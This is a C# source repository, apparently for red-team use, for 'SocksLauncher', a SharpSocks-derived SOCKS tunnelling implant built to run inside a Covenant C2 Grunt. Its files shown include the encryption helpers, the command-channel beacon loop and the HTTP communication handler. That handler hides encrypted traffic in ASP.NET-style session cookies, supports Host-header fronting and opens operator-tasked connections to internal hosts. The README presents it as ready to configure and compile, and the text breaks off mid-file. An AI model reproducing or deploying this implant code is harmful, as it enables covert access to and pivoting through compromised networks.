├── README.md ├── SocksLauncher.sln └── SocksLauncher ├── App.config ├── Classes ├── Common │ ├── Encryption │ │ ├── EncryptionHelper.cs │ │ ├── IEncryptionHelper.cs │ │ └── SimpleEncryptor │ │ │ └── DebugSimpleEncryptor.cs │ └── Host │ │ └── IPv4Tools.cs ├── Comms │ ├── CommandChannelController.cs │ └── CommandCommunicationHandler.cs ├── Config │ ├── CommandChannelConfig.cs │ └── SocksClientConfiguration.cs ├── Constants │ └── Status.cs ├── ErrorHandler │ └── InternalErrorHandler.cs ├── Extensions │ └── WebClientEx.cs ├── Helpers │ ├── LogToConsole.cs │ └── WebExceptionAnalyzer.cs ├── Integration │ ├── PoshCreateProxy.cs │ └── PoshDefaultImplantComms.cs ├── Logging │ └── DebugFileLogging.cs ├── Socks │ ├── SocksController.cs │ ├── SocksLoopController.cs │ └── SocksSocketReader.cs └── Target │ ├── CmdTarget.cs │ └── TargetInfo.cs ├── Interfaces ├── IExitableTarget.cs ├── IImplantLog.cs ├── IInternalErrorHandler.cs ├── ISocksImplant.cs └── ITamper.cs ├── Program.cs ├── Properties └── AssemblyInfo.cs └── SocksLauncher.csproj /README.md: -------------------------------------------------------------------------------- 1 | # SocksLauncher 2 | 3 | A modified Netitude SharpSocks launcher that will compile to a single binary and run as a thread in a Grunt within Covenant. 4 | 5 | The configuration options in Program.cs needs to be modified to suit your environment before compilation. 6 | -------------------------------------------------------------------------------- /SocksLauncher.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.572 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SocksLauncher", "SocksLauncher\SocksLauncher.csproj", "{E07DBD34-B5E3-4951-93B2-BAA913B87F8F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Debug|x64.ActiveCfg = Debug|x64 19 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Debug|x64.Build.0 = Debug|x64 20 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Release|x64.ActiveCfg = Release|x64 23 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {F331C1E5-3496-4F8C-9AA1-E909660A9195} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SocksLauncher/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Common/Encryption/EncryptionHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | 5 | namespace Common.Classes.Encryption 6 | { 7 | public class ECDHEncryptionHelper : IEncryptionHelper 8 | { 9 | System.Security.Cryptography.ECDiffieHellmanCng _ecDiffie; 10 | List _key = new List(); 11 | 12 | public String Initialize() 13 | { 14 | return BuildECDH(); 15 | } 16 | 17 | public String TheirPublicKey 18 | { 19 | set 20 | { 21 | try 22 | { 23 | DeriveKey(value); 24 | } 25 | catch (Exception ex) 26 | { 27 | throw new Exception("Failed to derive server key " + ex.Message); 28 | } 29 | } 30 | } 31 | 32 | String BuildECDH() 33 | { 34 | _ecDiffie = new System.Security.Cryptography.ECDiffieHellmanCng() 35 | { 36 | KeyDerivationFunction = System.Security.Cryptography.ECDiffieHellmanKeyDerivationFunction.Hash, 37 | HashAlgorithm = System.Security.Cryptography.CngAlgorithm.Sha256 38 | }; 39 | return System.Convert.ToBase64String(_ecDiffie.PublicKey.ToByteArray()); 40 | } 41 | 42 | void DeriveKey(String publicKeyb64) 43 | { 44 | List serverKey = System.Convert.FromBase64String(publicKeyb64).ToList(); 45 | 46 | var eckey = System.Security.Cryptography.ECDiffieHellmanCngPublicKey.FromByteArray(serverKey.ToArray(), System.Security.Cryptography.CngKeyBlobFormat.EccPublicBlob); 47 | var key = _ecDiffie.DeriveKeyMaterial(eckey); 48 | System.Security.Cryptography.ProtectedMemory.Protect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess); 49 | _key.AddRange(key); 50 | Array.Clear(key, 0, key.Length); 51 | } 52 | 53 | public String Encrypt(List payload) 54 | { 55 | if (_key.Count() == 0) 56 | throw new Exception("Key hasn't been derived yet, encryption isn't available"); 57 | 58 | string encPayload = null; 59 | byte[] key = null; 60 | try 61 | { 62 | var result = new List(); 63 | using (var aes = new System.Security.Cryptography.AesManaged()) 64 | { 65 | aes.Mode = System.Security.Cryptography.CipherMode.CBC; 66 | aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7; 67 | aes.GenerateIV(); 68 | result.AddRange(aes.IV); 69 | key = _key.ToArray(); 70 | System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess); 71 | aes.Key = key; 72 | var enc = aes.CreateEncryptor(); 73 | result.AddRange(enc.TransformFinalBlock(payload.ToArray(), 0, payload.Count)); 74 | encPayload = System.Convert.ToBase64String(result.ToArray()); 75 | result.Clear(); 76 | } 77 | } 78 | catch (Exception ex) 79 | { 80 | throw new Exception("Encryption failed " + ex.Message); 81 | } 82 | finally 83 | { 84 | if (key != null) 85 | Array.Clear(key, 0, key.Length); 86 | } 87 | return encPayload; 88 | } 89 | 90 | public List Decrypt(string encodedEncPayload) 91 | { 92 | if (_key.Count() == 0) 93 | throw new Exception("Key hasn't been derived yet, encryption isn't available"); 94 | 95 | var result = new List(); 96 | var encPayloadIV = Convert.FromBase64String(encodedEncPayload); 97 | var IV = encPayloadIV.Take(16); 98 | var payload = encPayloadIV.Skip(16).ToList(); 99 | byte[] key = null; 100 | 101 | using (var aes = new System.Security.Cryptography.AesManaged()) 102 | { 103 | aes.Mode = System.Security.Cryptography.CipherMode.CBC; 104 | aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7; 105 | key = _key.ToArray(); 106 | System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess); 107 | aes.Key = key; 108 | aes.IV = IV.ToArray(); 109 | var enc = aes.CreateDecryptor(); 110 | return enc.TransformFinalBlock(payload.ToArray(), 0, payload.Count()).ToList(); 111 | } 112 | } 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Common/Encryption/IEncryptionHelper.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace Common.Classes.Encryption 4 | { 5 | public interface IEncryptionHelper 6 | { 7 | List Decrypt(string encodedEncPayload); 8 | string Encrypt(List payload); 9 | string Initialize(); 10 | } 11 | } -------------------------------------------------------------------------------- /SocksLauncher/Classes/Common/Encryption/SimpleEncryptor/DebugSimpleEncryptor.cs: -------------------------------------------------------------------------------- 1 | using Common.Classes.Encryption; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Security; 7 | 8 | namespace Common.Encryption.SimpleEncryptor 9 | { 10 | 11 | /// 12 | /// This is a simple encryptor 13 | /// 14 | public class DebugSimpleEncryptor : IEncryptionHelper 15 | { 16 | List _key = new List(); 17 | 18 | public DebugSimpleEncryptor(String base64Key) 19 | { 20 | byte[] key = Convert.FromBase64String(base64Key); 21 | System.Security.Cryptography.ProtectedMemory.Protect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess); 22 | _key.AddRange(key); 23 | Array.Clear(key, 0, key.Length); 24 | } 25 | 26 | public DebugSimpleEncryptor(SecureString base64Key) 27 | { 28 | IntPtr valuePtr = IntPtr.Zero; 29 | try 30 | { 31 | valuePtr = Marshal.SecureStringToGlobalAllocUnicode(base64Key); 32 | var key = Convert.FromBase64String(Marshal.PtrToStringUni(valuePtr)); 33 | System.Security.Cryptography.ProtectedMemory.Protect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess); 34 | _key.AddRange(key); 35 | Array.Clear(key, 0, key.Length); 36 | } 37 | finally 38 | { 39 | Marshal.ZeroFreeGlobalAllocUnicode(valuePtr); 40 | } 41 | } 42 | 43 | public List Decrypt(string encodedEncPayload) 44 | { 45 | var ciphrBytes = Convert.FromBase64String(encodedEncPayload).ToList(); 46 | using (var aes = new System.Security.Cryptography.RijndaelManaged()) 47 | { 48 | aes.Mode = System.Security.Cryptography.CipherMode.CBC; 49 | aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7; 50 | aes.IV = ciphrBytes.Take(16).ToArray(); 51 | var key = _key.ToArray(); 52 | System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess); 53 | aes.Key = key; 54 | var dec = aes.CreateDecryptor(); 55 | var encBytes = ciphrBytes.Skip(16).ToArray(); 56 | var plainbytes = dec.TransformFinalBlock(encBytes, 0, encBytes.Length).ToList(); 57 | Array.Clear(key, 0, key.Length); 58 | return plainbytes; 59 | } 60 | } 61 | 62 | public string Encrypt(List payload) 63 | { 64 | using (var aes = new System.Security.Cryptography.RijndaelManaged()) 65 | { 66 | var result = new List(); 67 | aes.Mode = System.Security.Cryptography.CipherMode.CBC; 68 | aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7; 69 | aes.GenerateIV(); 70 | var key = _key.ToArray(); 71 | System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess); 72 | aes.Key = key; 73 | var enc = aes.CreateEncryptor(); 74 | result.AddRange(aes.IV); 75 | result.AddRange(enc.TransformFinalBlock(payload.ToArray(), 0, payload.Count)); 76 | Array.Clear(key, 0, key.Length); 77 | return System.Convert.ToBase64String(result.ToArray()); 78 | } 79 | } 80 | 81 | public string Initialize() 82 | { 83 | //NO WORK TO DO IN THIS VERSION 84 | return "USING DEBUG SIMPLE ENCRYPTOR"; 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Common/Host/IPv4Tools.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Text.RegularExpressions; 4 | 5 | 6 | namespace SharpSocksImplantTestApp.Host 7 | { 8 | public static class IPv4Tools 9 | { 10 | private static readonly Regex _ipRegex = new Regex(@"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"); 11 | //This is not designed to do a proper match on the port, it will only match numbers after the colon 12 | private static readonly Regex _simpleIpPortRegex = new Regex(@"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/(?(:\d[0-9].*?)))$"); 13 | 14 | public static bool IsIP(string ip) 15 | { 16 | return _ipRegex.Match(ip).Success; 17 | } 18 | public static bool IsIPPort(string ipPort) 19 | { 20 | return _ipRegex.Match(ipPort).Success; 21 | } 22 | 23 | public static Match MatchIsIPPort(string ipPort) 24 | { 25 | return _ipRegex.Match(ipPort); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Comms/CommandChannelController.cs: -------------------------------------------------------------------------------- 1 | using ImplantSide.Classes.Config; 2 | using ImplantSide.Classes.ErrorHandler; 3 | using ImplantSide.Classes.Socks; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Linq; 7 | using System.Threading; 8 | using System.Xml.XPath; 9 | using System.Xml.Linq; 10 | using SocksProxy.Classes.Socks; 11 | using System.Text; 12 | using ImplantSide.Interfaces; 13 | using SharpSocksImplant.Classes.Target; 14 | 15 | namespace ImplantSide.Classes.Comms 16 | { 17 | public class CommandChannelController 18 | { 19 | public CommandChannelController(CommandChannelConfig c2config, SocksLoopController client, CommandCommunicationHandler comms, InternalErrorHandler error) 20 | { 21 | C2Config = c2config; 22 | C2Config.CommandChannelSessionIdChanged += () => { 23 | //TO DO: Sort out what happens when config changes...... 24 | }; 25 | _client = client; 26 | _cmdCommsHandler = comms; 27 | _error = error; 28 | } 29 | public IImplantLog ImplantComms { get; set; } 30 | AutoResetEvent Timeout = new AutoResetEvent(false); 31 | CommandChannelConfig C2Config { get; set; } 32 | SocksLoopController _client; 33 | List _statusQueue = new List(); 34 | CommandCommunicationHandler _cmdCommsHandler; 35 | object _statusLocker = new object(); 36 | InternalErrorHandler _error; 37 | 38 | public String CommandChannelSessionId 39 | { 40 | get 41 | { 42 | return C2Config.CommandChannelSessionId; 43 | } 44 | } 45 | 46 | public void StopCommandChannel() 47 | { 48 | if (null != _cancelToken) 49 | _cancelTokenSource.Cancel(); 50 | } 51 | 52 | System.Threading.Tasks.Task _commandChannelLoop { get; set; } 53 | CancellationTokenSource _cancelTokenSource { get; set; } 54 | CancellationToken _cancelToken { get; set; } 55 | 56 | public void StartCommandLoop(SocksController loopController) 57 | { 58 | _cancelTokenSource = new CancellationTokenSource(); 59 | _cancelToken = _cancelTokenSource.Token; 60 | _commandChannelLoop = new System.Threading.Tasks.Task((g) => { 61 | try 62 | { 63 | ImplantComms.LogMessage($"Command loop starting - beacon time is {C2Config.CommandBeaconTime}ms"); 64 | if (!CommandLoop((CancellationToken)g)) 65 | { 66 | loopController.StopProxyComms(); 67 | _error.LogError($"Stopping all proxy comms as command channel is now broken"); 68 | return; 69 | } 70 | } 71 | catch (Exception ex) 72 | { 73 | var lst = new List 74 | { 75 | "Error in command channel loop" 76 | }; 77 | _error.LogError($"Command Channel loop is broken {ex.Message}, hard stopping all connections"); 78 | loopController.StopProxyComms(); 79 | return; 80 | } 81 | }, _cancelToken); 82 | _commandChannelLoop.Start(); 83 | } 84 | 85 | bool CommandLoop(CancellationToken token) 86 | { 87 | do 88 | { 89 | if (token.IsCancellationRequested) 90 | return true; 91 | var request = BuildRequestPayload(); 92 | var response = _cmdCommsHandler.Send(new CmdTarget { TargetId = CommandChannelSessionId, Token = token }, UTF8Encoding.UTF8.GetBytes(request.ToString()).ToList(), out bool CommandChannelDead); 93 | 94 | if (null == response || response.Count() == 0 || CommandChannelDead) 95 | { 96 | if (CommandChannelDead) 97 | { 98 | _error.LogError($"Command Channel loop is dead. EXITING"); 99 | return false; 100 | } 101 | } 102 | else 103 | { 104 | var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(response.ToArray())); 105 | var elms = xdoc.XPathSelectElements("Response/Tasks/Task"); 106 | 107 | if (elms.Count() > 0) 108 | { 109 | ImplantComms.LogMessage($"{elms.Count()} tasks recieved"); 110 | //We have tasks Queue em up 111 | xdoc.XPathSelectElements("Response/Tasks/Task").ToList().ForEach(x => 112 | { 113 | var nodeCreate = x.XPathSelectElement("CreateListener"); 114 | 115 | if (null != nodeCreate) 116 | { 117 | var host = nodeCreate.Attribute("TargetHost").Value; 118 | var strPort = nodeCreate.Attribute("TargetPort").Value; 119 | var port = ushort.Parse(strPort); 120 | var sessionId = nodeCreate.Attribute("SessionID").Value; 121 | ImplantComms.LogMessage($"About to open connection to {host}:{strPort}"); 122 | if (_client.OpenNewConnectionToTarget(sessionId, host, port)) 123 | QueueListenerStatus(sessionId, "open"); 124 | else 125 | { 126 | ImplantComms.LogError($"FAILED {host}:{strPort}"); 127 | QueueListenerStatus(sessionId, "failed"); 128 | } 129 | } 130 | var nodeClose = x.XPathSelectElement("CloseListener"); 131 | if (null != nodeClose) 132 | { 133 | var sessionId = nodeClose.Attribute("SessionID"); 134 | if (!String.IsNullOrWhiteSpace(sessionId?.Value)) 135 | { 136 | _client.Stop(sessionId.Value); 137 | QueueListenerStatus(sessionId.Value, "closed"); 138 | } 139 | else 140 | ImplantComms.LogError($"Close session id message is null"); 141 | } 142 | }); 143 | } 144 | //Sleep til we need to beacon again 145 | //TO DO: Add in Jitter time, not curenntly implemented 146 | if (token.IsCancellationRequested) 147 | return true; 148 | } 149 | //Timeout.WaitOne(C2Config.CommandBeaconTime); 150 | } 151 | while (!token.IsCancellationRequested); 152 | return true; 153 | } 154 | 155 | XElement BuildRequestPayload() 156 | { 157 | var root = new XElement("CommandChannel"); 158 | lock (_statusLocker) 159 | { 160 | if (_statusQueue.Count() > 0) 161 | { 162 | var status = new XElement("ListenerStatus"); 163 | _statusQueue.ForEach(x => { 164 | status.Add(x); 165 | }); 166 | root.Add(status); 167 | _statusQueue.Clear(); 168 | } 169 | } 170 | root.Add(new XElement("RequestWork")); 171 | return root; 172 | } 173 | public void QueueListenerStatus(String listener, String status) 174 | { 175 | lock (_statusLocker) 176 | { 177 | _statusQueue.Add(new XElement(new XElement("Status", new XAttribute("SessionID", listener.ToString()), status))); 178 | } 179 | } 180 | } 181 | } 182 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Comms/CommandCommunicationHandler.cs: -------------------------------------------------------------------------------- 1 | using Common.Classes.Encryption; 2 | using ImplantSide.Classes.ErrorHandler; 3 | using ImplantSide.Classes.Helpers; 4 | using ImplantSide.Classes.Target; 5 | using ImplantSide.Interfaces; 6 | using SharpSocksImplant.Interfaces; 7 | using SocksProxy.Classes.Extensions; 8 | using System; 9 | using System.Collections.Generic; 10 | using System.Linq; 11 | using System.Net; 12 | using System.Text; 13 | using System.Threading; 14 | 15 | namespace ImplantSide.Classes.Comms 16 | { 17 | public class CommandCommunicationHandler 18 | { 19 | IEncryptionHelper _encryption; 20 | public IImplantLog ImplantComms { get; set; } 21 | 22 | AutoResetEvent Timeout = new AutoResetEvent(false); 23 | SocksClientConfiguration _config; 24 | Random _urlRandomizer = new Random(); //Yes yes this is a terrible random number generator 25 | InternalErrorHandler _error; 26 | bool? InitialConnectionSucceded; 27 | 28 | public CommandCommunicationHandler(IEncryptionHelper encryption, SocksClientConfiguration config, InternalErrorHandler error) 29 | { 30 | _encryption = encryption; 31 | this._config = config; 32 | _error = error; 33 | } 34 | 35 | public List Send(IExitableTarget target, List payload, out bool commandChannelDead) 36 | { 37 | return Send(target, "nochange", payload, out commandChannelDead); 38 | } 39 | 40 | public List Send(IExitableTarget target, String status, List payload, out bool commandChannelDead) 41 | { 42 | 43 | String sessionPayload = target.TargetId; 44 | commandChannelDead = false; 45 | 46 | if (String.IsNullOrWhiteSpace(status)) 47 | status = "nochange"; 48 | 49 | var sessionAndStatus = sessionPayload + ":" + status; 50 | var encryptedSessionPayload = _encryption.Encrypt(UTF8Encoding.UTF8.GetBytes(sessionAndStatus).ToList()); 51 | 52 | var cookies = new CookieContainer(); 53 | WebClientEx wc = null; 54 | if (!String.IsNullOrWhiteSpace(_config.HostHeader)) 55 | wc = new WebClientEx(cookies, _config.HostHeader, _config.InsecureSSL) { UserAgent = _config.UserAgent }; 56 | else 57 | wc = new WebClientEx(cookies, _config.InsecureSSL) { UserAgent = _config.UserAgent }; 58 | 59 | if (_config.UseProxy) 60 | if (null == _config.WebProxy) 61 | { 62 | wc.Proxy = HttpWebRequest.GetSystemWebProxy(); 63 | wc.Proxy.Credentials = CredentialCache.DefaultCredentials; 64 | } 65 | else 66 | wc.Proxy = _config.WebProxy; 67 | wc.Headers.Add("Host", _config.HostHeader); 68 | 69 | cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host }); 70 | 71 | string encPayload = null; 72 | if (null != payload && payload.Count > 0) 73 | { 74 | try 75 | { 76 | encPayload = _encryption.Encrypt(payload); 77 | if (String.IsNullOrWhiteSpace(encPayload)) 78 | { 79 | _error.LogError("Encrypted payload was null, it shouldn't be"); 80 | if (!InitialConnectionSucceded.HasValue) 81 | InitialConnectionSucceded = false; 82 | wc.Dispose(); 83 | return null; 84 | } 85 | } 86 | catch (Exception ex) 87 | { 88 | _error.LogError(ex.Message); 89 | wc.Dispose(); 90 | return null; 91 | } 92 | } 93 | 94 | bool retryRequired = false; 95 | Int32 retryInterval = 2000; 96 | UInt16 retryCount = 0; 97 | Guid errorId = Guid.NewGuid(); 98 | do 99 | { 100 | try 101 | { 102 | String response = null; 103 | if (encPayload != null && encPayload.Count() > 4096) 104 | response = wc.UploadString(BuildServerURI(), encPayload); 105 | else 106 | { 107 | if (null != _config.HostHeader) 108 | { 109 | if (wc.Headers.AllKeys.Contains("Host")) 110 | { 111 | if (wc.Headers["Host"] != _config.HostHeader) 112 | wc.Headers["Host"] = _config.HostHeader; 113 | } 114 | else 115 | wc.Headers.Add("Host", _config.HostHeader); 116 | } 117 | if (payload != null && payload.Count() > 0) 118 | cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host }); 119 | 120 | response = wc.DownloadString(BuildServerURI()); 121 | } 122 | 123 | if (!InitialConnectionSucceded.HasValue) 124 | InitialConnectionSucceded = true; 125 | 126 | if (null != response && response.Count() > 0) 127 | { 128 | wc.Dispose(); 129 | return _encryption.Decrypt(response); 130 | } 131 | else 132 | { 133 | wc.Dispose(); 134 | return new List(); 135 | } 136 | 137 | } 138 | catch (System.Net.WebException ex) 139 | { 140 | var lst = new List(); 141 | if (WebExceptionAnalyzer.IsTransient(ex)) 142 | { 143 | if (15 > retryCount++) 144 | { 145 | _error.LogError($"Error has occured and looks like it's transient going to retry in {retryInterval} milliseconds: {ex.Message}"); 146 | retryRequired = true; 147 | 148 | if (retryInterval++ > 2) 149 | retryInterval += retryInterval; 150 | 151 | Timeout.WaitOne(retryInterval); 152 | } 153 | else 154 | { 155 | _error.FailError($"Kept trying but afraid error isn't going away {retryInterval} {ex.Message} {ex.Status.ToString()} {_config.CommandServerUI.ToString()} {errorId.ToString()}"); 156 | commandChannelDead = true; 157 | wc.Dispose(); 158 | return null; 159 | } 160 | } 161 | else if (sessionPayload == _config.CommandChannelSessionId) 162 | { 163 | if (!RetryUntilFailure(ref retryCount, ref retryRequired, ref retryInterval)) 164 | { 165 | lst.Add("Command channel re-tried connection 5 times giving up"); 166 | ReportErrorWebException(ex, lst, errorId); 167 | commandChannelDead = true; 168 | wc.Dispose(); 169 | return null; 170 | } 171 | retryRequired = true; 172 | } 173 | else 174 | { 175 | ReportErrorWebException(ex, lst, errorId); 176 | if (HttpStatusCode.NotFound == ((HttpWebResponse)ex.Response).StatusCode) 177 | { 178 | if (_error.VerboseErrors) 179 | _error.LogError(String.Format($"Connection on server has been killed")); 180 | } 181 | else 182 | _error.LogError(String.Format($"Send to {_config.URL} failed with {ex.Message}")); 183 | wc.Dispose(); 184 | return null; 185 | } 186 | } 187 | } while (retryRequired && !target.Exit); 188 | 189 | if (!InitialConnectionSucceded.HasValue) 190 | { 191 | commandChannelDead = true; 192 | InitialConnectionSucceded = false; 193 | } 194 | 195 | wc.Dispose(); 196 | return null; 197 | } 198 | 199 | bool RetryUntilFailure(ref UInt16 retryCount, ref bool retryRequired, ref Int32 retryInterval) 200 | { 201 | if (5 <= retryCount++) 202 | return retryRequired = false; 203 | 204 | _error.LogError($"Command Channel failed to connect : retry interval {retryInterval} ms"); 205 | Timeout.WaitOne(retryInterval); 206 | retryInterval += retryInterval; 207 | return true; 208 | } 209 | 210 | Uri BuildServerURI(String payload = null) 211 | { 212 | if (null != _config.Tamper) 213 | return new Uri(_config.Tamper.TamperUri(_config.CommandServerUI, payload)); 214 | 215 | if (_config.URLPaths.Count() == 0 ) 216 | return new Uri(_config.URL, "Upload"); 217 | else 218 | { 219 | var path = _config.URLPaths[_urlRandomizer.Next(0, _config.URLPaths.Count())]; 220 | return new Uri(_config.URL, path); 221 | } 222 | } 223 | 224 | void ReportErrorWebException(System.Net.WebException ex, List lst, Guid errorId) 225 | { 226 | lst.Add(ex.Message); 227 | lst.Add(ex.Status.ToString()); 228 | lst.Add(_config.CommandServerUI.ToString()); 229 | lst.Add(errorId.ToString()); 230 | _error.LogError(lst); 231 | } 232 | } 233 | } 234 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Config/CommandChannelConfig.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace ImplantSide.Classes.Config 8 | { 9 | public class CommandChannelConfig 10 | { 11 | object _locker = new object(); 12 | String _commandChannelSessionId; 13 | 14 | public Action CommandChannelSessionIdChanged; 15 | public Int16 CommandBeaconTime = 5000; 16 | public Decimal CommandJitter = 0.20M; 17 | public Int16 CommandTimeoutRetryOnFailure = 15000; 18 | public Int16 CommandTimeoutRetryAttempts = 10; 19 | public String CommandChannelSessionId 20 | { 21 | get 22 | { 23 | return _commandChannelSessionId; 24 | } 25 | set 26 | { 27 | lock (_locker) 28 | { 29 | _commandChannelSessionId = value; 30 | } 31 | } 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Config/SocksClientConfiguration.cs: -------------------------------------------------------------------------------- 1 | using ImplantSide.Classes.Config; 2 | using ImplantSide.Interfaces; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Net; 6 | using System.Threading; 7 | 8 | namespace ImplantSide.Classes 9 | { 10 | public class SocksClientConfiguration 11 | { 12 | public String CommandChannelSessionId 13 | { 14 | get 15 | { 16 | return (null == CommandChannel) ? Guid.Empty.ToString() : CommandChannel.CommandChannelSessionId; 17 | } 18 | set 19 | { 20 | GetCmdChannelConfig().CommandChannelSessionId = value; 21 | } 22 | } 23 | 24 | public Int16 BeaconTime 25 | { 26 | get 27 | { 28 | return GetCmdChannelConfig().CommandBeaconTime; 29 | } 30 | 31 | set 32 | { 33 | GetCmdChannelConfig().CommandBeaconTime = value; 34 | } 35 | } 36 | 37 | CommandChannelConfig GetCmdChannelConfig() 38 | { 39 | if (null == CommandChannel) 40 | { 41 | lock (_locker) 42 | { 43 | if (null == CommandChannel) 44 | { 45 | CommandChannel = new CommandChannelConfig(); 46 | } 47 | } 48 | } 49 | return CommandChannel; 50 | } 51 | 52 | public CommandChannelConfig CommandChannel; 53 | public String ServerCookie { get; set; } 54 | public String PayloadCookieName { get; set; } 55 | public String HostHeader { get; set; } 56 | public System.Uri CommandServerUI 57 | { 58 | get 59 | { 60 | Monitor.Enter(_locker); 61 | var uri = _serverUri; 62 | Monitor.Exit(_locker); 63 | return uri; 64 | } 65 | set 66 | { 67 | Monitor.Enter(_locker); 68 | _serverUri = value; 69 | Monitor.Exit(_locker); 70 | } 71 | } 72 | public bool InsecureSSL { get; set; } 73 | public String ServerHost { get; set; } 74 | public bool UseProxy { get; set; } 75 | public String UserAgent { get; set; } 76 | public IWebProxy WebProxy { get; set; } 77 | public IImplantLog ImplantComms { get; set; } 78 | public ITamper Tamper { get; set; } 79 | public List URLPaths { get; set; } 80 | internal Uri URL 81 | { 82 | get 83 | { 84 | Monitor.Enter(_locker); 85 | var uri = _serverUri; 86 | Monitor.Exit(_locker); 87 | return uri; 88 | } 89 | } 90 | Uri _serverUri; 91 | object _locker = new Object(); 92 | readonly static String DEFAULTSESSIONCOOKIENAME = "ASP.NET_SessionId"; 93 | String _sessionId = null; 94 | public String SessionCookieName 95 | { 96 | get 97 | { 98 | if (!String.IsNullOrWhiteSpace(_sessionId)) 99 | return _sessionId; 100 | else 101 | return DEFAULTSESSIONCOOKIENAME; 102 | } 103 | set 104 | { 105 | _sessionId = value; 106 | } 107 | } 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Constants/Status.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace ImplantSide.Classes.Constants 8 | { 9 | public enum STATUS 10 | { 11 | ERROR, 12 | CREATED, 13 | IDLE, 14 | CONFIRMING, 15 | CONFIRMED, 16 | PROXYOPEN, 17 | SENDING, 18 | RECEIVING, 19 | CLOSED, 20 | EXCHANGING, 21 | EXCHANGED 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/ErrorHandler/InternalErrorHandler.cs: -------------------------------------------------------------------------------- 1 | using ImplantSide.Interfaces; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace ImplantSide.Classes.ErrorHandler 9 | { 10 | public class InternalErrorHandler : IInternalErrorHandler 11 | { 12 | IImplantLog _implantComms; 13 | public bool VerboseErrors { get; set; } 14 | 15 | public InternalErrorHandler(IImplantLog implantComms) 16 | { 17 | _implantComms = implantComms; 18 | } 19 | public void FailError(List errors) 20 | { 21 | //Basically its unrecoverable 22 | var sb = new StringBuilder(); 23 | errors.ForEach(x => 24 | { 25 | 